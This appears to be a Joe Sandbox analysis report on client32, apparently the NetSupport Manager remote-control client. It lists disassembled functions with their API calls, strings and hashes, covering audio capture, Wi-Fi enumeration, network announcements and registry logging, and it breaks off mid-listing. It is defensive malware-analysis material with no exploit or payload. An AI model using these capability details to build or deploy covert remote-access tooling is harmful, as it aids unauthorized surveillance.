Opcode Fuzzy Hash: 8be8c82d578b7ce9cf9cc495cb365543be575607f387d856cefed87b35aa24b4
Instruction Fuzzy Hash: 854179B5D02229ABCB01DFD9E984AEEFFB9FB48714F50406AE415B3200DB351A44CFA4

Function 11003650 Relevance: 27.2, APIs: 18, Instructions: 171COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 11003691

Part of subcall function 111430E0: SetBkColor.GDI32(?,00000000), ref: 111430F4
Part of subcall function 111430E0: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 11143109
Part of subcall function 111430E0: SetBkColor.GDI32(?,00000000), ref: 11143111

CreateSolidBrush.GDI32(00000000), ref: 110036A5
GetStockObject.GDI32(00000007), ref: 110036B0
SelectObject.GDI32(?,00000000), ref: 110036BB
SelectObject.GDI32(?,?), ref: 110036CC
GetSysColor.USER32(00000010), ref: 110036DC
GetSysColor.USER32(00000010), ref: 110036F3
GetSysColor.USER32(00000014), ref: 1100370A
GetSysColor.USER32(00000014), ref: 11003721
GetSysColor.USER32(00000014), ref: 1100373E
GetSysColor.USER32(00000014), ref: 11003755
GetSysColor.USER32(00000010), ref: 1100376C
GetSysColor.USER32(00000010), ref: 11003783
InflateRect.USER32(?,000000FE,000000FE), ref: 110037A0
Rectangle.GDI32(?,?,00000001,?,?), ref: 110037BA
SelectObject.GDI32(?,?), ref: 110037CE
SelectObject.GDI32(?,?), ref: 110037D8
DeleteObject.GDI32(?), ref: 110037DE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$BrushCreateDeleteInflateRectRectangleSolidStockText
String ID:
API String ID: 3698065672-0
Opcode ID: b833179956e3f332fb7c6e9edd2a8bf0286dfddfec6fc6f9ae6a9a20b302d007
Instruction ID: a23acd2a2556d2351ec77cf4709ac6c6322e0be3c302c098e9beaf4924cedc1a
Opcode Fuzzy Hash: b833179956e3f332fb7c6e9edd2a8bf0286dfddfec6fc6f9ae6a9a20b302d007
Instruction Fuzzy Hash: 78515EB5900309AFE714DFA5CC85EBBF3BDEF98704F104A18E611A7691D670B944CBA1

Function 1104B7F0 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 229timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,FailedAttacks,00000001,FailedAttacks,00000000,80000002,Software\Productive Computer Insight\Client32,0002001F,00000000,00000000,?,?,?,EFF676FC,?,?), ref: 1104B8F6
_sprintf.LIBCMT ref: 1104B923

Part of subcall function 110ED9F0: RegSetValueExA.ADVAPI32(00000002,?,00000000,?,00000001,00000003,?,?,?,?,11112835,authcode,?,00000001,authcode,000F003F), ref: 110EDA19

_strncpy.LIBCMT ref: 1104BACE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsA(), xrefs: 1104B9A5, 1104B9E9
*** Warning. Failed Attack %u, from %s, at %s, xrefs: 1104BA02
LastAttacker, xrefs: 1104B9BB
%s, %d, xrefs: 1104B869
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1104B9A0, 1104B9E4
%04d/%02d/%02d %02d:%02d:%02d, xrefs: 1104B91D
LastAttack, xrefs: 1104B931
FailedAttacks, xrefs: 1104B8CE, 1104B8E2
Info. Connection Rejected, reason=%d, xrefs: 1104B83C
Software\Productive Computer Insight\Client32, xrefs: 1104B8B3
@ %s, xrefs: 1104B979
NC-, xrefs: 1104BAC4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastLocalMessageProcessTimeValue_sprintf_strncpywsprintf
String ID: @ %s$%04d/%02d/%02d %02d:%02d:%02d$%s, %d$*** Warning. Failed Attack %u, from %s, at %s$FailedAttacks$Info. Connection Rejected, reason=%d$IsA()$LastAttack$LastAttacker$NC-$Software\Productive Computer Insight\Client32$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3341947355-3231647555
Opcode ID: c1a08ebd0c0cca2c53fd9c2065dee75976c60c6aa31f1c1f1af79d9370508339
Instruction ID: fe029f2b4bd5101e4da145cc81d4ac0798fef8b5c75ba173e470820e68b704ff
Opcode Fuzzy Hash: c1a08ebd0c0cca2c53fd9c2065dee75976c60c6aa31f1c1f1af79d9370508339
Instruction Fuzzy Hash: 34916075E00219AFEB10CFA9CC84FEEFBB4EF45704F148199E549A7281EB716A44CB61

Function 11047010 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 214COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1104702F
wsprintfA.USER32 ref: 110470AE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

wsprintfA.USER32 ref: 110470E9
GetModuleFileNameA.KERNEL32(00000000,00000014,00000080), ref: 11047203
_strrchr.LIBCMT ref: 1104720C
GetWindowsDirectoryA.KERNEL32(00000016,00000080), ref: 11047235
_free.LIBCMT ref: 11047251

Strings

V12.10F20, xrefs: 110470FA, 110471A5
V12.00, xrefs: 110470D2
V1.10, xrefs: 1104709C
%s %s, xrefs: 110470BA, 110470E0
V12.10, xrefs: 110470D9, 110470DE
CLTCONN.CPP, xrefs: 11047042
NSS, xrefs: 1104708E
NSA %s, xrefs: 110470A8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$DirectoryErrorExitFileLastMessageModuleNameProcessWindows_calloc_free_strrchr
String ID: %s %s$CLTCONN.CPP$NSA %s$NSS$V1.10$V12.00$V12.10$V12.10F20
API String ID: 1757445300-1785190265
Opcode ID: 8df59efd58386d5d632d4f9a1d1019fa2f1450115bc2f61edf1bae4acd3b0bfd
Instruction ID: 26d4bceacdf9fffedd66530a5670ce95754bb6fc5caa385817b5218b2f2053ae
Opcode Fuzzy Hash: 8df59efd58386d5d632d4f9a1d1019fa2f1450115bc2f61edf1bae4acd3b0bfd
Instruction Fuzzy Hash: 3F619A78E00657ABD714CFB48CC1B6FF7E99F40308F1048A8ED5697641EA62F904C3A2

Function 1100B440 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 190fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

_malloc.LIBCMT ref: 1100B496

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

Part of subcall function 1100AD10: EnterCriticalSection.KERNEL32(000000FF,EFF676FC,?,00000000,00000000), ref: 1100AD54
Part of subcall function 1100AD10: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1100AD72
Part of subcall function 1100AD10: GetProcAddress.KERNEL32(?,CancelIo), ref: 1100ADBE
Part of subcall function 1100AD10: InterlockedExchange.KERNEL32(?,000000FF), ref: 1100AE05
Part of subcall function 1100AD10: CloseHandle.KERNEL32(00000000), ref: 1100AE0C
Part of subcall function 1100AD10: _free.LIBCMT ref: 1100AE23
Part of subcall function 1100AD10: FreeLibrary.KERNEL32(?), ref: 1100AE3B
Part of subcall function 1100AD10: LeaveCriticalSection.KERNEL32(?), ref: 1100AE45

EnterCriticalSection.KERNEL32(1100CB8A,Audio,DisableSounds,00000000,00000000,EFF676FC,?,1100CB7A,00000000,?,1100CB7A,?), ref: 1100B4CB
CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CB7A,?), ref: 1100B4E8
_calloc.LIBCMT ref: 1100B519
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CB7A,?), ref: 1100B53F
LeaveCriticalSection.KERNEL32(1100CB8A,?,1100CB7A,?), ref: 1100B579
LeaveCriticalSection.KERNEL32(1100CB7A,?,?,1100CB7A,?), ref: 1100B59E

Strings

Vista new pAudioCap=%p, xrefs: 1100B603
DisableSounds, xrefs: 1100B472
Vista AddAudioCapEvtListener(%p), xrefs: 1100B623
\\.\NSAudioFilter, xrefs: 1100B4E0
InitCaptureSounds NT6, xrefs: 1100B5BE
Audio, xrefs: 1100B477
Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B64C
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B5F3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressAllocateCloseEventExchangeFileFreeHandleHeapInterlockedLoadProc__wcstoi64_calloc_free_malloc
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 1843377891-2362500394
Opcode ID: ac985d5f38071a6d61f3d9ef1a3b635a51863d168853f4ed84212ab79fecb887
Instruction ID: 79732c4921e51442e8b050610a6755ede2f12e6e97fc197f43339bcf40ac1e73
Opcode Fuzzy Hash: ac985d5f38071a6d61f3d9ef1a3b635a51863d168853f4ed84212ab79fecb887
Instruction Fuzzy Hash: A25129B5E44A4AEFE704CF64DC80B9AF7A4FB05359F10467AE92993240E7317550CBA1

Function 6EF01F90 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 240networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6EF0DBD0: _malloc.LIBCMT ref: 6EF0DBE9
Part of subcall function 6EF0DBD0: wsprintfA.USER32 ref: 6EF0DC04
Part of subcall function 6EF0DBD0: _memset.LIBCMT ref: 6EF0DC27

getpeername.WSOCK32(?,?,?,6EF30E3D,?,?,?,?), ref: 6EF02198
htons.WSOCK32(?,?,?,?,?,6EF30E3D,?,?,?,?), ref: 6EF021A9
EnterCriticalSection.KERNEL32(6EF3B898,?,?,?,6EF30E3D,?,?,?,?), ref: 6EF021D9
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?), ref: 6EF0220C
EnterCriticalSection.KERNEL32(6EF3B898,?,?,?,6EF30E3D,?,?,?,?), ref: 6EF02217
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?), ref: 6EF02227
std::exception::exception.LIBCMT ref: 6EF0226B
__CxxThrowException@8.LIBCMT ref: 6EF02286

Strings

LINK, xrefs: 6EF020BE
RESULT, xrefs: 6EF020A0
FSIZE, xrefs: 6EF02118
SUB, xrefs: 6EF020FA
FNAME, xrefs: 6EF020DC
LWT, xrefs: 6EF02139

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Exception@8Throw_malloc_memsetgetpeernamehtonsstd::exception::exceptionwsprintf
String ID: FNAME$FSIZE$LINK$LWT$RESULT$SUB
API String ID: 205723298-3189277165
Opcode ID: 6eca5d9b537a9f20006d0ac15c5992e5001c6a9d6954b8c4240d033a6fb2118c
Instruction ID: 5a826a6e5532d608d35418911ad27a5d79888ce8dae6043c6fd59bca9195ca5f
Opcode Fuzzy Hash: 6eca5d9b537a9f20006d0ac15c5992e5001c6a9d6954b8c4240d033a6fb2118c
Instruction Fuzzy Hash: 209142B1D002599FEF50DFE4CCA0ADEBBB9BF44304F10496AE509E7241EB315A45DBA1

Function 1115B5D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 94libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

LoadLibraryA.KERNEL32(wlanapi.dll,?,?,?,?,11058627), ref: 1115B61B
GetProcAddress.KERNEL32(00000000,WlanOpenHandle), ref: 1115B634
GetProcAddress.KERNEL32(?,WlanCloseHandle), ref: 1115B644
GetProcAddress.KERNEL32(?,WlanEnumInterfaces), ref: 1115B654
GetProcAddress.KERNEL32(?,WlanGetAvailableNetworkList), ref: 1115B664
GetProcAddress.KERNEL32(?,WlanFreeMemory), ref: 1115B674
std::exception::exception.LIBCMT ref: 1115B68D
__CxxThrowException@8.LIBCMT ref: 1115B6A2

Strings

WlanOpenHandle, xrefs: 1115B62E
WlanEnumInterfaces, xrefs: 1115B64E
WlanCloseHandle, xrefs: 1115B63E
WlanFreeMemory, xrefs: 1115B66E
wlanapi.dll, xrefs: 1115B613
WlanGetAvailableNetworkList, xrefs: 1115B65E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Exception@8LibraryLoadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: WlanCloseHandle$WlanEnumInterfaces$WlanFreeMemory$WlanGetAvailableNetworkList$WlanOpenHandle$wlanapi.dll
API String ID: 2439742961-1736626566
Opcode ID: b820fcb3f3504f3881004cd0bc95e177e444ea8b58218186fe09faae80a220e7
Instruction ID: ed2c7270a583f493e0b466c25834e96d487c817f3cd2eef84f0062ec4251f30e
Opcode Fuzzy Hash: b820fcb3f3504f3881004cd0bc95e177e444ea8b58218186fe09faae80a220e7
Instruction Fuzzy Hash: 1721CEB9A013249FC350DFA9CC80A9AFBF8AF58204B14892EE42AD3605E771E400CB95

Function 11121300 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1111F440: SelectPalette.GDI32(?,?,00000000), ref: 1111F4BC
Part of subcall function 1111F440: SelectPalette.GDI32(?,?,00000000), ref: 1111F4D1
Part of subcall function 1111F440: DeleteObject.GDI32(?), ref: 1111F4E4
Part of subcall function 1111F440: DeleteObject.GDI32(?), ref: 1111F4F1
Part of subcall function 1111F440: DeleteObject.GDI32(?), ref: 1111F516

_free.LIBCMT ref: 1112131D

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 11121333
_free.LIBCMT ref: 11121348
GdiFlush.GDI32(?,?,?,02DD8E40), ref: 11121350
_free.LIBCMT ref: 1112135D
_free.LIBCMT ref: 11121371
SelectObject.GDI32(?,?), ref: 1112138D
DeleteObject.GDI32(?), ref: 1112139A
GetLastError.KERNEL32(?,?,?,?,?,02DD8E40), ref: 111213A4
DeleteDC.GDI32(?), ref: 111213CB
ReleaseDC.USER32(?,?), ref: 111213DE
DeleteDC.GDI32(?), ref: 111213EB
InterlockedDecrement.KERNEL32(111EA9C8), ref: 111213F8

Strings

Error deleting membm, e=%d, xrefs: 111213AB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Delete$Object_free$Select$ErrorLastPalette$DecrementFlushFreeHeapInterlockedRelease
String ID: Error deleting membm, e=%d
API String ID: 3195047866-709490903
Opcode ID: 856a3ecf5a1c88381e43c7b3755e2998f31a2ff9e92ea80af61142ad3529f9f4
Instruction ID: f7d3d32e9876efa9dbc162a5d98189d6a342c9de11ba00d9e1d1e6b63679a2c9
Opcode Fuzzy Hash: 856a3ecf5a1c88381e43c7b3755e2998f31a2ff9e92ea80af61142ad3529f9f4
Instruction Fuzzy Hash: 892144B96107019BD214DFB5D9C8A9BF7E8FF98319F10491CE9AE83204EB35B501CB65

Function 110537C0 Relevance: 23.1, APIs: 1, Strings: 12, Instructions: 360COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11053A8A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11041F40: inet_ntoa.WSOCK32(?,?,?,?,110539A4,00000000,?,?,EFF676FC,?,?), ref: 11041F52

Strings

IsA(), xrefs: 1105383B, 1105388B, 110539D8, 11053A5F, 11053ABD, 11053B30, 11053B74, 11053BBB, 11053BF9
Port, xrefs: 11053A13
Announcement from %s [announcer-apptype: 0x%x] [target-apptype: 0x%x] [flags: 0x%08x], xrefs: 11053ADA
NSMWControl32, xrefs: 11053B90
Announce Error from %s. Invalid crc - ignoring, xrefs: 1105384C
TCPIP, xrefs: 110538E1, 11053A18, 11053A33
port, xrefs: 110538DC
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11053836, 11053886, 110539D3, 11053A5A, 11053AB8, 11053B2B, 11053B6F, 11053BB6, 11053BF4
NSSWControl32, xrefs: 11053B4C
NSTWControl32, xrefs: 11053BD7
ListenPort, xrefs: 11053A2E
%s:%u, xrefs: 11053948

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountErrorExitLastMessageProcessTickinet_ntoawsprintf
String ID: %s:%u$Announce Error from %s. Invalid crc - ignoring$Announcement from %s [announcer-apptype: 0x%x] [target-apptype: 0x%x] [flags: 0x%08x]$IsA()$ListenPort$NSMWControl32$NSSWControl32$NSTWControl32$Port$TCPIP$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$port
API String ID: 3701541597-1781216912
Opcode ID: 011a09e4ebf555cb1d293c9696a7e6a42301eb6d37c4b5b12f9704b45b5c4a0d
Instruction ID: 5c383da36f12d4855d2941ef62f3cc5b6d46123aa205a4bcc3d01b822d31dab0
Opcode Fuzzy Hash: 011a09e4ebf555cb1d293c9696a7e6a42301eb6d37c4b5b12f9704b45b5c4a0d
Instruction Fuzzy Hash: 3AD1A278E0461AABDF84DF94DC91FEEF7B5EF85308F044159E816AB245EB30A904CB61

Function 6EF00F59 Relevance: 23.0, APIs: 3, Strings: 10, Instructions: 263COMMON

Download Yara Rule

APIs

Part of subcall function 6EF0DBD0: _malloc.LIBCMT ref: 6EF0DBE9
Part of subcall function 6EF0DBD0: wsprintfA.USER32 ref: 6EF0DC04
Part of subcall function 6EF0DBD0: _memset.LIBCMT ref: 6EF0DC27

_memset.LIBCMT ref: 6EF00FAD
EnterCriticalSection.KERNEL32(6EF3B898,6EF30E3D,?,?,?,?,?,?,00000000), ref: 6EF01293
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,00000000), ref: 6EF012E3
EnterCriticalSection.KERNEL32(6EF3B898,6EF30E3D,?,?,?,?,?,?,00000000), ref: 6EF01316
LeaveCriticalSection.KERNEL32(6EF3B898,?,?,?,?,?,?,00000000), ref: 6EF0132D
std::exception::exception.LIBCMT ref: 6EF0135B
__CxxThrowException@8.LIBCMT ref: 6EF01376

Strings

